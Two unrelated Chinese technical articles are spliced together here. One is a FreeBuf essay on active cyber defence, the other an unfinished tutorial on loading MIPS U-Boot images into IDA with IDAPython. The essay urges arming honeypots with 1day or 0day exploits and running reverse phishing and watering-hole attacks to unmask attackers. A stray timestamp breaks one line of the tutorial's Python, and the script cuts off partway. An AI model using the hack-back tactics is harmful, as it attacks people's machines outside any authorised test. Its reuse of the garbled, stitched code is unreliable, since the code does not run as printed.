一、序言

2016年4月,总书记在网络安全和信息化工作座谈会上发表重要讲话指出,“网络安全的本质是对抗,对抗的本质是攻防两端能力的较量。”同年,《网络安全法》颁布,出台网络安全演练相关规定:关键信息基础设施的运营者应“制定网络安全事件应急预案,并定期进行演练”。

自此实战化的“攻防演练行动”成为惯例。结合四年来攻防演练的经验,以及对近年来国内外实战对抗的总结后,我认为要想把攻防演练和小规模网络对抗的防御工作做好,必须解决两个问题:

第一、在实战对抗方案中,大部分的方案都在做“点”的堆叠,这些堆叠往往是基于方案厂商自有的产品和服务能力,并没有考虑到实战对抗中的效果,主要是将以往安全建设的方案进行重新包装,即:新坛装老酒;

第二、以往的方法论,包括:等保、ISMS、ITIL等等,在目标、宏观、指导性层面上虽然极具参考性,但在真正实战中却缺乏落地策略及直接有效的操作方针来阻挡攻击者。

对此,本文将参考一部专门针对小规模战争的著作提出的战术中心思想,落实在真实网络攻防战中,利用主动防御进行黑客对抗。本文重在提出对抗方针,即:在已经进行了基础的信息安全建设后(例如,已经通过等保、分保、ISO 27001、Cobit、SOX404等等),应该从哪些方面入手和加强,以防御真正的实战型网络攻击。具体操作指南需要根据实际业务场景和IT环境进行细化。

本文不求像纲领性文件、要求或一些方法论中做到的全面,仅从最有效的方面进行阐述。

二、对抗,对抗,对抗

真实的小规模网络攻防中,面对的攻击对象,主要包括国内外敌对势力、商业和民间黑客以及执行攻防演练行动中进行安全性检测的攻击队等。

攻击对象不乏有使用1day,甚至是0day的攻击手段,在某些特定对象和场景中,也可能会遇到APT攻击。面对这些攻击时,一味地进行被动防御,即使不断提高防御手段,往往只是增加资源投入和成本,并不能起到更好的效果。

例如:

防火墙或网闸买得再多、访问控制策略做得再细致和规范,若它们自身就存在0day漏洞或1day漏洞未修补,则直接可被攻破;

业务系统接入了云防御,即使云端防御再好,一旦攻击者找到了未做信任策略的源站地址,一切防御将全部失效;

内网部署了很好的防御产品和策略,包括防病毒、反垃圾邮件等,但内部员工被鱼叉攻击,依然会泄露重要和敏感信息;

业务系统防范严密,却在某个具有出口的测试环境中存在暗资产,或者在GitHub上泄露了数据,导致其成为跳板甚至被进行内网漫游或使攻击者直接获得了某些重要资料和信息;

等等场景,不胜枚举。

被动防御永远在亡羊补牢。基于网络安全发展史的经验来看,面对攻击,是可以进行如下两个判断的:

第一、对每种攻击手段、防御措施的资源投入,平均下来一定远远大于攻击成本;

第二、每个攻击者的攻击手段可能无限多。

所以得出的结论是:仅考虑防御,将会耗尽无限多的资源,而即使如此,也未必能做到最好。

所以网络安全的本质是对抗。

对抗,不是被动防御。对抗的目标是“敌人”,是攻击者,防御方案不仅是为了免责和心里安慰,目的是在真正的小规模网络攻防战中保护自己的业务系统,保护社会数据,保护国家信息资产。

三、不管资源多少,要将资源尽可能用于主动防御对抗中

只有将目标聚焦到攻击者、聚焦到对“人”的对抗上,才能在实战网络攻防中取得胜利。

主动防御或机动防御理念,是在真实入侵成功之前通过精确预警,有针对性、机动地集中资源重点防御并伺机进行反击。在网络安全领域,目前其方法论和技术方案尚不成熟。

在小规模对抗中,攻击者可能来自于任何地方,但具备攻击能力的人群总数是有限的,对有生力量的精力和时间的打击和消耗,以及进行可能的自然人溯源,是目前我认为的主动防御思想的核心。

在传统安全模型中经常提到“木桶原理”、PDCA、PDRR等概念,旨在强调加强短板建设、形成周期性闭环等等,这些理论是正确的,但这些理论的出发点更多的是考虑通过“知己”及“内建”,以应对外界威胁,更适合用来作为指导性思想,进行常态化和持久化信息安全建设。而在主动防御理论中,更优先考虑的是“知彼”,依据攻击者可能的手段及弱点协调资源进化自己。

所以在整体资源有限、时间周期不长、攻击者相对较明确的网络攻防中,应将资源用于主动防御对抗中,这样能更加明显地实现预期效果并取得更优的成果。

主动防御的出发点应该围绕“敌人”,方案应该更强调“立竿见影”。

以下部分将进行主动防御思想体系下,应对HW及小规模网络对抗的战术方法介绍。

四、如果内部安全人员有限,可以更多地使用自动化工具或外采人工服务

包括政府、事业单位、央企、国企、大中型企业等在内的大部分组织中,受内部信息安全岗位编制、人员专业技能等的局限,往往对于突发性或阶段性高强度的网络对抗感到资源有限、力不从心。在这种情况下,长期或阶段性使用自动化工具会让工作事半功倍。

这里指出的自动化工具,包括:网络资产测绘、漏洞扫描器、IDS/IPS、防火墙、防病毒、云防御、WAF、堡垒机、日志审计、蜜罐、SOC等等常态化信息安全产品,更重要的是需要使用SOAR(安全编排自动化响应工具)。

SOAR是Gartner缔造及推广的。一个好的SOAR,在网络对抗中应该可以做到以下两方面:

第一、可以进行综合数据处理和分析,这些数据应该包括资产、风险、威胁、日志、防御状态等等,如果有可能,最好是能够内置或挂载一些开源情报和秘密情报,能够快速构建及调整数据处理和分析模型。高效、准确地处理和分析数据,与各类情报数据进行匹配,可以在攻击初始即发现其动机,甚至可以预知攻击的方向及强度,再配合人性化的UI界面、大屏展示和趋势分析图,可以达到“态势感知”的效果;

第二、可以进行设备联动处理,并能够进行一定针对安全工作的流程处理,以简化安全事件响应流程,极大地缩短事件处理时间。在网络对抗中,至为关键的因素就是平均检测时间(MTTD)和平均修复时间(MTTR)。越准确地发现自己的薄弱点、越高效地发现攻击行为、越快速地进行修复、越简化的工作流程,就能使攻击者浪费更多的时间和精力,进而耗尽其有生力量。而需要达到这样的效果,必须依托于自动化处理手段;

以上,一方面可以进行小规模网络对抗,在建设完成后,也可以完善常态化网络安全建设。

不过在SOAR建设初期,由于其专业性及需要与所在组织和流程进行磨合,以达到默契,所以这方面工作更建议阶段性使用安全服务??,以期能够快速打造出初始效果,并在之后进行阶段性调整,以完善其效果。这部分一般是需要人工服务的。

另一方面,在进行正常流程之外遇到突发事件,包括一些无法完全自动化和工具化的工作中,例如:黑客入侵中后期的应急响应、反制和溯源等等,以及在完善的SOAR建设起来之前和建设中,是需要人工专家服务的,如果资源较少可以使用阶段性服务,这样可以集中优势资源迅速占领对抗中的制高点。

五、尽量先使用自动化探测工具

大部分组织都会建立资产台账,但组织越大、越复杂,资产台账越不准确,这包括组织架构变动、资产转移、临时他用、利旧使用等等多方面因素,也可能包括管理不到位等因素。

为了保证对风险的可预测性以及被利用的可能性,需要在现有已了解资产的状态下,对以下三个方面进行主动探测:

第一、尽量对组织的所有相关联资产进行盘点,绘制网络空间资产地图,这应该是包括暴露在互联网上以及内网的所有资产,重点应放在暗资产(资产台账中没有的或不明晰的)、灰色资产(归属不清或管理职责不清的)。这里需要注意的是,不要遗漏进行域名反查,不要遗漏在云防御体系下是否能追溯到源站,不要遗漏是否有敏感路径暴露在互联网上。另外比较棘手的地方在于,有些资产或域名并不归属总部管辖,要想全部查找出它们往往并不容易,但它们可能会成为防御死角,迅速被攻击者攻破。以上这些关注点,有些地方需要依靠一些人工手段或半自动化手段进行探测,尽量不要遗漏。但依然应该是优先使用自动化探测,辅以人工。

第二、尽量对所有资产进行漏洞探测,尤其是对暗资产、灰色资产,它们往往因为管理不明晰或者管理人员不知道它们的存在而变成攻击的突破口。另外,应该时刻关注1day漏洞情报,大部分攻击者仍然比较介意使用0day攻击(当使用0day时,很可能该exp被捕获而造成此0day暴露,关于0day的处理方法在后续章节叙述),他们通常更倾向于使用1day爆发与修补的时间差进行攻击。更重要的是对弱口令的探测,无论是设备、操作系统、中间件、管理后台、登陆前台等等的弱口令,通常都是攻击者最快速攻击进来的渠道(当然,这些也可以被我们用于主动反击,具体后续章节会进行叙述)。所以使用自动化漏洞探测工具,尤其是对1day漏洞和弱口令的迅速探测和修复,是非常重要的。

第三、尽量对可能暴露出来的信息进行查找,包括GitHub、百度云盘、暗网等等有可能泄露资料的地方。历史证明,很多安全方面做得非常好的国内外公司最终在这些不起眼的地方翻了船。

六、先发制人,取得胜利

预先采集相关情报和主导战场,是取得胜利的前提。

我们应该尽可能预先采集相关情报信息,包括:

有可能的攻击者身份,比如他们是来自于某些势力组织或者某些特定攻击队等;攻击者所受到的限制,比如他们可能所在的时区、他们的真实地理位置、他们有可能的跳板总数量级、他们的攻击时限(有些攻击行为是有时间限制要求的)、他们被赋予的攻击强度要求(例如商业黑客往往以窃取数据为出发点,所以不会进行DDoS攻击,攻防演练攻击队会被要求不得进行破坏性攻击)等;

我们还应该尽可能通过秘密情报和开源情报建立一些数据库,例如:社交网络数据库、威胁情报库、漏洞情报库等等,如果有可能,还应该建立敌对阵地/地区设备和指纹库(越精细越好)。

提前设置一些诱捕网络和陷阱,将初始战场转移到我们预设的地方,反客为主。在诱捕网络和陷阱中提前知道攻击,了解攻击手段,甚至追溯攻击者。

七、只要有可能,就要采取欺骗措施

“兵行诡道”。由“蜜罐”组成的“蜜网”系统能达到真真假假、虚虚实实的效果。

部署一个由大量高交互和高仿真蜜罐组成的蜜网系统,将会带来诸多好处:

第一、正常访问者不会访问蜜罐系统,攻击者在不断寻找攻击入口时会访问到蜜罐,所以蜜罐不像IDS/IPS等流量设备会产生海量报警,凡是蜜罐的报警,几乎全都是真实攻击尝试的报警,大大降低误报率(实际上几乎没有误报,即使不是实质性攻击报警,也是侦查或攻击尝试)和降低数据分析工作的难度;

第二、当建立起蜜网后(建议蜜网中蜜罐的数量尽量达到真实业务系统数量的10倍以上),对于攻击者来说,无疑使其陷入了一个迷宫,极大地延缓了攻击进度(理论上攻击时长应会以数量级延长);

第三、高交互和高仿真的蜜罐,一方面可以迷惑攻击者,使其在蜜罐中停留很长时间,极大地消耗他们的时间,另一方面可以利用高交互获取更多攻击者的攻击手法、第一手自然人信息(例如真实IP、浏览器信息等等)、甚至是他们使用的一些1day和0day,使其暴露;

第四、即使蜜罐模仿的业务系统被攻破,攻击者也无法获取任何有价值的信息,当攻击者90%以上的攻击尝试和努力都是针对蜜罐的,将会消耗他们大量的精力,打击他们的信心;

诸多好处不一列举。

一个精心布置、能产生对抗效果的蜜罐和蜜网系统,应该包含如下能力:

第一、可以快速大量部署,并对正常业务不造成影响;

第二、应该是仿真的,只有这样才有迷惑效果,才能最大化的拖延攻击者,并使其难以发现;

第三、应该是高交互的,高交互一方面可以消耗攻击者的精力,另一方面可能捕获到攻击者的攻击信息,甚至是一些自然人信息(例如精心构建的登陆认证、邮件认证等,均可以考虑反向钓鱼);

第四、可以保护自身的安全性,一方面蜜罐本身可以包含(也可不含)一些精心构建的漏洞,另一方面要考虑到如果蜜罐失陷,不应使攻击者可以用于跳板或他用;

第五、好的蜜罐应该自带一些1day甚至0day,用于进行溯源反制,这些1day或者0day应该至少包含针对于浏览器、社交平台等方面的,而不仅局限在进行攻击规则匹配以及对浏览器、主机信息和攻击日志等进行记录,这样才能对溯源到真实的自然人有帮助;

第六、好的蜜罐应尽可能内置或可以与一些外置数据和情报信息进行联动和对接,例如:通过获取的一些自然人信息与前文提到的社交网络数据库联合查询以得到攻击者真实自然人身份;通过得到的攻击源信息进行匹配后可以得到跳板范围并进行阻拦等等,这将直接达到减少攻击有生力量的效果。

八、在所有对抗中,都要考虑攻击者的实战场景并加以利用

在真实的网络对抗中,既然已经明确了以攻击者——“人”为关注点,就要从攻击行为、习惯、可能的手段作为出发点进行考虑,往往可以事半功倍。

在“七步网络杀伤链”理论中,最有参考价值的是2011年洛克希德马丁发布的网络杀伤链模型,在其模型中更为关注“人”的因素。

由于七步网络杀伤链理论模型相对已经比较完善,同时它们也是目前实战派攻击场景中公认最成熟的,在此就不进行累述了,进行实战方案和操作指南制定时,请查阅和参考该模型来制定详细的反制措施。

下图放上了关于此模型的大致思路,但详细细节比这些丰富很多。在此需要特别提醒的是,仍然需要以“人”作为关注对象,无论是攻击者,还是受攻击资产,还是网络安全设备和策略,背后都是“人”,他们是:黑客、IT管理员、网络安全工程师。制定策略要考虑人及其操作的可落实性。

比如可以利用仿真虚假的业务系统的交互(例如邮件注册或加载插件),精心构建针对攻击者进行的鱼叉或水坑攻击。

九、所有安全设备和策略都要用最简单有效的方法进行策略制定

很多方案中会堆叠一系列产品、设备、流程、管理制度等等,但是在实战网络对抗中要明确一个宗旨:越简单越有效。具体即:非白即黑。

一切阻断类型的防御手段和策略,在使用和操作时,都是越直接越好。

在很多组织中,由于业务需要、测试需要、跨部门和跨网段管理的设备通讯需要、甚至是因为IT管理不清晰等原因,都可能出现类似“拒绝所有通讯,但A分组除外,B分组除外,c资产除外,d资产除外,e资产的X端口除外,f资产的X和XX端口除外,同时e资产属于B分组,d资产属于A分组”等等规则,或者出现类似“如果发现A行为则阻断,如果发现B行为则提交给X设备进行分析,如果发现其他行为由XX人进行处理”的流程。

上面列出的例子只是很少一部分,只是要说明,这种分类不清、分组不清、“你中有我、我中有你”,这种有流转、无闭环、流程岗职不清晰、意外事件太多的规则、流程和管理指南,在实际的操作层面很难执行,或者执行效率低下。

如果真的想在对抗中“立竿见影”,必须采取“非白即黑”的技术策略和管理手段。

想做到这一点,必须由安全管理和责任的一把手发起,并全力支持。由安全专家依据该宗旨制定管理规范、执行流程、技术策略和操作指南。

十、只要有可能,就要利用自查措施并修复缺陷

安全性自查,就是最重要的“知己”措施。前文提到过“木桶原理”、PDCA等,并没有对其进行否认,仅仅说到了它们在实战中在关注点上的局限性。本节需要强调,在“知己”方面,它们仍然很重要,也是实战工作中的一个重要组成部分。

只要是时间允许,人手、资源允许,无论在任何阶段,尽量进行安全自查。按照GB/T 20984中的指导要求,其应该包含:IT系统规划阶段、设计阶段、实施阶段、运行维护阶段、废弃阶段的全生命周期。

对于自查的要求、管理和技术点,可参考ISO 27001、等级保护、GB/T 20984等。

特别要重点提出的是,针对实战网络对抗,还应在以下方面进行着重关注:

渗透测试:对于业务系统、APP(不仅是iOS和安卓客户端,也要包括与服务端的接口)、微信公众号、小程序等的技术渗透测试,这里的渗透也应该包含业务逻辑渗透和查找高交互时暴露出的漏洞,而不仅仅是通用性技术渗透;

白盒代码审计:如果有可能,对于重要的业务系统最好进行白盒代码审计,因为这可以帮助审查到渗透测试难以发现的漏洞。很多攻击者是依靠各种手段(例如通过GitHub)找到源代码,并审计其0day漏洞予以利用和攻击的;

内网漫游测试:针对内网的全面渗透测试,模拟攻击者成功进入组织内部或内网后,进行内网漫游,以获取最多、最高权限、最敏感数据或某个指定目标为目的的技术测试,该测试应该也包含跨网段穿透尝试,包含对于网络边界设备(包括防火墙、网闸等)的安全性和穿透性测试,对于工控网络也应该尽量进行协议分析和安全性测试(尤其是对于已知漏洞的测试,因为工控网络通常缺少防护与升级措施,攻击者可能仅利用成本低廉的已知漏洞即可攻击成功);

物理攻击尝试:使用物理手段,例如通过门禁弱点、WIFI缺陷、办公场所弱点、人员意识缺陷等,尝试进行攻击并获取敏感数据;

社交攻击尝试:使用社交手段,例如电话、微信、企业QQ、人肉搜索、社工库等方式进行社会工程学攻击尝试并获取敏感信息或数据;

鱼叉与水坑攻击测试:利用鱼叉攻击和水坑攻击等手段,对指定或全体目标进行攻击尝试,以确定在组织内部是否存在因安全意识引发的巨大隐患。

十一、周期性进行资产测绘,侦察暗资产

对于一个大型组织,资产的测绘就像绘制地图,本单位的所有资产,就是对抗中的战场,只有做到精准的地图标识、无信息遗漏,才能避免在战场中处于被动。例如:如果在打仗时,有一条可以被用来迂回的小路没有被发现,部队就可能遭到偷袭。而在信息化战场中,由于信息资产可能因为各种原因有变化,所以定期进行资产测绘,才能保证资产地图的准确性。

对于信息资产的测绘,应该兼顾以下三点:

第一、快速。快速绘制出资产,对于前期的准备,以及定期的大规模更新有极大的帮助。大型组织往往资产数量能达到几万、几十万、甚至上百万,涉及到的公网和内网网段能达到几个B段(一个B段的资产探测数量在6万以上)、甚至几个A段(一个A段的资产探测数量在1600万以上),要对常用的服务进行探测,则要在此探测基础上乘以几十左右。对于海量资产的快速测绘,才能绘制出资产地图框架。

第二、精准。如果说快速绘制是1:100000的地图,那么精准绘制就是1:500,快速绘制的地图更适合做决策,精准绘制的地图重在操作层面。目前大部分用于快速绘制的网络测绘产品都是基于zmap等底层开发的,它们在快速的同时,受到网络波动和配置等影响,会在精准性上有局限性,所以还要考虑使用nmap等可以进行真实链接的产品,甚至是依靠P0F、suricata(部分功能)这类能够进行被动测绘的自动化工具或者产品;

第三、直接匹配。在大规模资产的组织中,如果有1day漏洞爆发,或者需要针对某一特定漏洞进行探测时,整体探测的效率太低,最好是能够依靠已有的资产地图直接进行漏洞版本匹配。这就需要存留一份完整的漏洞库,以及一份完整的资产(包括详细版本)地图,并且需要能快速地将两者进行匹配。

所以在绘制资产地图时,要以快速为目标,周期性进行高速测绘;再用精准的模式时刻补充、修正和更新;对1day和特定漏洞可以进行资产精确版本的直接匹配,以做到第一时间发现和处理可能存在的风险。

十二、组建应急小组,实时处理突发事件

应急响应小组,在对抗中起到“消防队员”的作用和效果,他们应该能够快速处理攻击中后期的各类紧急事件。应急响应小组只有由最高责任领导担任总指挥才能发挥其快速响应和贯穿多部门协调资源的效果。应急响应小组应该包括总协调人、安全技术专家、安全工程师、各业务接口人等组成。

在前期,应急响应小组应该建立好应急响应流程和安全事件定义。关于应急响应的指导性建设,可参考GB/Z 20985和GB/Z 20986,相关针对应急响应的各类方案在业界也比较成熟,在这里不进行累述。

在操作层面,比较推荐参考YD/T 1799,其中涉及到对于人员、工具、职责、质量等要求具有很高的操作指导价值。同时它对于准备阶段、检测阶段、抑制阶段、根除阶段、恢复阶段、总结阶段的详细阶段描述和操作要求,极具指导性和实操性,建议根据其要求进行规范和使用,制定操作指南。

十三、对抗过程中尽量不要惊动攻击者

在实际与攻击者的对抗中,有两个时间,尽量不要惊动攻击者:

第一、对攻击行为进行采集和分析时;

第二、对攻击者进行溯源时。

在对攻击行为进行采集和分析时,可以使用旁路流量监视和分析,也可以在不惊动攻击者的情况下做其他的检测。可以将操作系统、中间件、各类访问日志,各类安全设备日志,各类流量分析结果统一汇总到非DMZ区或者业务区的分析平台进行分析,将攻击事件进行关联。

在进行攻击者溯源时,使用的JS、钓鱼等技术和手段,应该尽量加密、混淆、仿真、伪装和反溯源,尽量不要引起攻击者怀疑,尽量提高其分析难度,尽量使其难以进行反溯源。

在抓取足够数据时,立刻进行封堵、反击等操作,使其措不及防。

十四、只要有业务系统变更或模块升级,就应进行安全测试

业务系统经常会有变更和模块升级,包括网络架构、Web业务系统、APP、工控系统、小程序、各类接口等等,只要有变更,或者某些功能模块的升级,都应该对变更部分进行安全性测试,以保证新上线的功能没有安全隐患。更好的办法是在它们集成到现有业务系统之前,在测试阶段就进行安全性测试。但是测试环境和真实环境仍然是有差别的,有时在测试环境中没有发现问题,在真实环境下会出现问题。所以最好是能够在正式上线前的测试环境和正式上线后都进行一次安全性测试。

另外,应该在新系统或者新功能设计时就考虑到安全性,并将其设计在其中。如果有可能,建议建立统一威胁和漏洞管理。

十五、溯源能力越强,自查和修补措施越完善,被攻破的可能性越小

在网络对抗方案设计阶段,应该考虑到以上各部分的内容,考虑得越详尽,越贴合业务场景,约有实操性,对抗能力越强。

在实际环境中,往往要建设一个完善的主动防御体系,是需要分阶段、分步骤进行的。如果之前没有进行过这方面的建设,我建议按照如下步骤考虑,这里包括了对于成本、实施难度、立竿见影的效果等多方面的因素:

第一、组织建设一支高效的应急小组,他们可以负责在前期进行必要的风险评估和修补,也负责在发生事件时进行处置;

第二、全面进行弱口令排查;

第三、建立一个“非白即黑”的处理机制,在确定发现攻击后,马上进行封堵。这里面有可能因为分析能力的不完善出现漏判和误判,需要应急小组能够进行紧急响应;

第四、对1day漏洞进行专项跟踪,并对有可能受其影响的设备进行排查和修补;

第五、采购或租用蜜罐/蜜网,他们能极大地减缓攻击成功的时间,消耗攻击者的精力,好的蜜罐还能进行溯源。可以为防御创造更多的时间,为反击提供可能;

第六、采购各类自动化工具,协助和武装安全管理员和应急小组,使他们能够更快速、更高效地发挥战斗力。自动化工具的采购步骤,请依据实际的预算和安全基础建设成熟度逐步采购;

第七、组建或租用安全服务团队,一方面进行安全性测试或者红蓝对抗测试,另一方面更有体系的长期进行安全事件处置和规划动态安全防御体系。

十六、信息安全负责人和项目经理既要积极主动,又要坚决果断

信息安全负责人和项目经理是整个网络对抗的总负责人,在整个工作中起到至关重要的作用。自古既有“物勒工名,以考其诚;工有不当,必行其罪”的说法。

总负责人既然要负起全部责任,就必须被赋予相应的权利。经常会遇到这样的场景:某些业务系统有极大的安全隐患,但是安全负责人不敢或者无法有效协调业务部门负责人,最终导致该业务系统被攻破。如果希望在网络对抗中达到效果,就需要组织高层在这些方面赋予相应的权利。

另外我曾经经常遇到的场景,也是特别需要注意的,在组织协调中,往往会出现“@甲、@乙、@丙,你们处理一下”这种情况。在这种工作安排下,一般被安排到的那个部门或者责任人都不会去很好地处理,这种工作安排实际上是一种“懒政”的表现。合理的安排应该是“@甲,授权全权负责该事情,@乙和@丙全力配合”。

十七、结尾

感谢看到结尾。以上写到的内容,都是从实战出发,针对小规模的攻击和HW提出的。

对于“小规模”的理解:我认为小规模大致应该是持续数月、商业黑客或敌对组织攻击级别(非国家级)、会少量使用0day(具备一定的0day挖掘能力)、较大量使用社工手段(包括钓鱼等)和1day漏洞、不以DDoS为目的、具备完善的Web、APP和内网攻击等能力,具备一定的工控网络攻击能力,具备一定APT能力,不具备定向攻击能力(例如专门针对某一设备或工业组织),不具备全网攻击0day(例如某骨干网基础传输协议或设备的0day等),不具备通杀型0day(例如某常见操作系统远程溢出root权限0day等),不具备复杂工具制作能力,以窃取某些特定资料、信息或取得某些权限为目的的有组织的攻击行为。

*本文作者:知道创宇主动防御产品线总经理—王宇,转载请注明来自FreeBuf.COM

最近在研究IoT设备的过程中遇到一种情况。

一个IoT设备,官方不提供固件包,网上也搜不到相关的固件包,所以我从flash中直接读取。因为系统是VxWorks,能看到flash布局,所以能很容易把uboot/firmware从flash中分解出来。对于firmware的部分前一半左右是通过lzma压缩,后面的一半,是相隔一定的区间有一部分有lzma压缩数据。而固件的符号信息就在这后半部分。因为不知道后半部分是通过什么格式和前半部分代码段一起放入内存的,所以对于我逆向产生了一定的阻碍。所以我就想着看看uboot的逻辑,但是uboot不能直接丢入ida中进行分析,所以有了这篇文章,分析uboot格式,如何使用ida分析uboot。

uboot格式

正常的一个uboot格式应该如下所示:

$ binwalk bootimg.bin

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
13648         0x3550          CRC32 polynomial table, big endian
14908         0x3A3C          uImage header, header size: 64 bytes, header CRC: 0x25ED0948, created: 2019-12-02 03:39:51, image size: 54680 bytes, Data Address: 0x80010000, Entry Point: 0x80010000, data CRC: 0x3DFB76CD, OS: Linux, CPU: MIPS, image type: Firmware Image, compression type: lzma, image name: "u-boot image"
14972         0x3A7C          LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 161184 bytes

而这uboot其实还得分为三部分:

1.从0×00 – 0x346C是属于bootstrap的部分

2.0x346C-0x34AC有0×40字节的uboot image的头部信息

3.从0x34AC到结尾才是uboot image的主体,经过lzma压缩后的结果

那么uboot是怎么生成的呢?Github上随便找了一个uboot源码:https://github.com/OnionIoT/uboot,编译安装了一下,查看uboot的生成过程。

1.第一步,把bootstrap和uboot源码使用gcc编译成两个ELF程序,得到bootstrap和uboot

2.第二步,使用objcopy把两个文件分别转换成二进制流文件。

$ mips-openwrt-linux-uclibc-objcopy --gap-fill=0xff -O binary bootstrap bootstrap.bin
$ mips-openwrt-linux-uclibc-objcopy --gap-fill=0xff -O binary uboot uboot.bin
$ binwalk u-boot/bootstrap

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             ELF, 32-bit MSB executable, MIPS, version 1 (SYSV)
13776         0x35D0          CRC32 polynomial table, big endian
28826         0x709A          Unix path: /uboot/u-boot/cpu/mips/start_bootstrap.S

$ binwalk u-boot/bootstrap.bin

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
13648         0x3550          CRC32 polynomial table, big endian

$ binwalk u-boot/u-boot

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             ELF, 32-bit MSB executable, MIPS, version 1 (SYSV)
132160        0x20440         U-Boot version string, "U-Boot 1.1.4  (Dec  2 2019, 11:39:50)"
132827        0x206DB         HTML document header
133794        0x20AA2         HTML document footer
134619        0x20DDB         HTML document header
135508        0x21154         HTML document footer
135607        0x211B7         HTML document header
137363        0x21893         HTML document footer
137463        0x218F7         HTML document header
138146        0x21BA2         HTML document footer
138247        0x21C07         HTML document header
139122        0x21F72         HTML document footer
139235        0x21FE3         HTML document header
139621        0x22165         HTML document footer
139632        0x22170         CRC32 polynomial table, big endian
179254        0x2BC36         Unix path: /uboot/u-boot/cpu/mips/start.S

$ binwalk u-boot/u-boot.bin

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
132032        0x203C0         U-Boot version string, "U-Boot 1.1.4  (Dec  2 2019, 11:39:50)"
132699        0x2065B         HTML document header
133666        0x20A22         HTML document footer
134491        0x20D5B         HTML document header
135380        0x210D4         HTML document footer
135479        0x21137         HTML document header
137235        0x21813         HTML document footer
137335        0x21877         HTML document header
138018        0x21B22         HTML document footer
138119        0x21B87         HTML document header
138994        0x21EF2         HTML document footer
139107        0x21F63         HTML document header
139493        0x220E5         HTML document footer
139504        0x220F0         CRC32 polynomial table, big endian

3.把u-boot.bin使用lzma算法压缩,得到u-boot.bin.lzma

$ binwalk u-boot/u-boot.bin.lzma

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 161184 bytes

4.使用mkimage,给u-boot.bin.lzma加上0×40字节的头部信息得到u-boot.lzming

$ binwalk u-boot/u-boot.lzimg

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             uImage header, header size: 64 bytes, header CRC: 0x25ED0948, created: 2019-12-02 03:39:51, image size: 54680 bytes, Data Address: 0x80010000, Entry Point: 0x80010000, data CRC: 0x3DFB76CD, OS: Linux, CPU: MIPS, image type: Firmware Image, compression type: lzma, image name: "u-boot image"
64            0x40            LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 161184 bytes

5.最后把bootstrap.binu-boot.lzming合并到一起,然后根据需要uboot的实际大小,比如需要一个128k的uboot,在末尾使用0xff补齐到128k大小

使用ida处理bootstrap二进制流文件

在上面的结构中,需要注意几点:

1.Data Address: 0×80010000, Entry Point: 0×80010000表示设备启动后,会把后续uboot通过lzma解压出来的数据存入内存地址0×80010000,然后把$pc设置为: 0×80010000,所以uboot最开头4字节肯定是指令。

2.uncompressed size: 161184 bytes,可以使用dd把LZMA数据单独取出来,然后使用lzma解压缩,解压缩后的大小要跟这个字段一样。如果还想确认解压缩的结果有没有问题,可以使用CRC算法验证。

接下来就是通过dd或者其他程序把二进制流从uboot中分离出来,再丢到ida中。先来看看bootstrap,首先指定相应的CPU类型,比如对于上例,则需要设置MIPS大端。

随后我们暂时设置一下起始地址为0×80010000,通电以后CPU第一个执行的地址默认情况下我们是不知道的,不同CPU有不同的起始地址。设置如下图所示:

bootstrap最开头也指令,所以按C转换成指令,如下图所示:

跳转到0×80010400, 随后是一段初始化代码,下一步我们需要确定程序基地址,因为是mips,所以我们可以根据$gp来判断基地址。

如上图所示,因为bootstrap的大小为0x3a3c bytes,所以可以初步估计基地址为0x9f000000,所以下面修改一下基地址:

并且修改在Options -> General -> Analysis -> Processor specific ……设置$gp=0x9F0039A0

0x9F0039A0地址开始属于got表的范围,存储的是函数地址,所以把0x9F0039A0地址往后的数据都转成word:

到此就处理完毕了,后面就是存逆向的工作了,具体bootstrap代码都做了什么,不是本文的重点,所以暂不管。

使用ida处理uboot流文件

处理bootstrap,我们再看看uboot,和上面的处理思路大致相同。

1.使用dd或其他程序,把uboot数据先分离出来。

 2.使用lzma解压缩 

3.丢到ida,设置CPU类型,设置基地址,因为uboot头部有明确定义基地址为0×80010000,所以不用再自己判断基地址

 4.同样把第一句设置为指令

正常情况下,uboot都是这种格式,0×80010008为got表指针,也是$gp的值。

5.根据0×80010008的值,去设置$gp 6.处理got表,该地址往后基本都是函数指针和少部分的字符串指针。结尾还有uboot命令的结构体。

到此uboot也算基础处理完了,后续也都是逆向的工作了,也不是本文的关注的内容。

编写idapython自动处理uboot

拿uboot的处理流程进行举例,使用Python编写一个ida插件,自动处理uboot二进制流文件。

1.我们把0×80010000设置为__start函数

idc.add_func(0x80010000)
idc.set_name(0x80010000, "__start")

2.0×80010008是got表指针,因为我们处理了0×80010000,所以got表指针地址也被自动翻译成了代码,我们需要改成word格式。

idc.del_items(0x80010008)
idc.MakeDword(0x80010008)
got_ptr = idc.Dword(0x80010008)
idc.set_name(idc.Dword(0x80010008), ".got.ptr")

3.把got表都转成Word格式,如果是字符串指针,在注释中体现出来

def got():
    assert(got_ptr)
    for address in range(got_ptr, end_addr, 4):
        value = idc.Dword(address)
        if value == 0xFFFFFFFF:2019-12-03 15:36:56 星期二
            break
        idc.MakeDword(address)
        idaapi.autoWait()
        if idc.Dword(value) != 0xFFFFFFFF:
            func_name = idc.get_func_name(value)
            if not idc.get_func_name(value):
                idc.create_strlit(value, idc.BADADDR)
            else:
                funcs.append(func_name)

基本都这里就ok了,后面还可以加一些.text段信息,但不是必要的,最后的源码如下:

#!/usr/bin/env python
# -*- coding=utf-8 -*-

import idc
import idaapi

class Anlysis:
    def __init__(self):
        self.start_addr = idc.MinEA()
        self.end_addr = idc.MaxEA()
        self.funcs = []

    def uboot_header(self):
        idc.add_func(self.start_addr)
        idc.set_name(self.start_addr, "__start")
        idc.del_items(self.start_addr + 0x8)
        idc.MakeDword(self.start_addr + 0x8)
        self.got_ptr = idc.Dword(self.start_addr+8)
        idc.set_name(idc.Dword(self.start_addr+8), ".got.ptr")

    def got(self):
        assert(self.got_ptr)
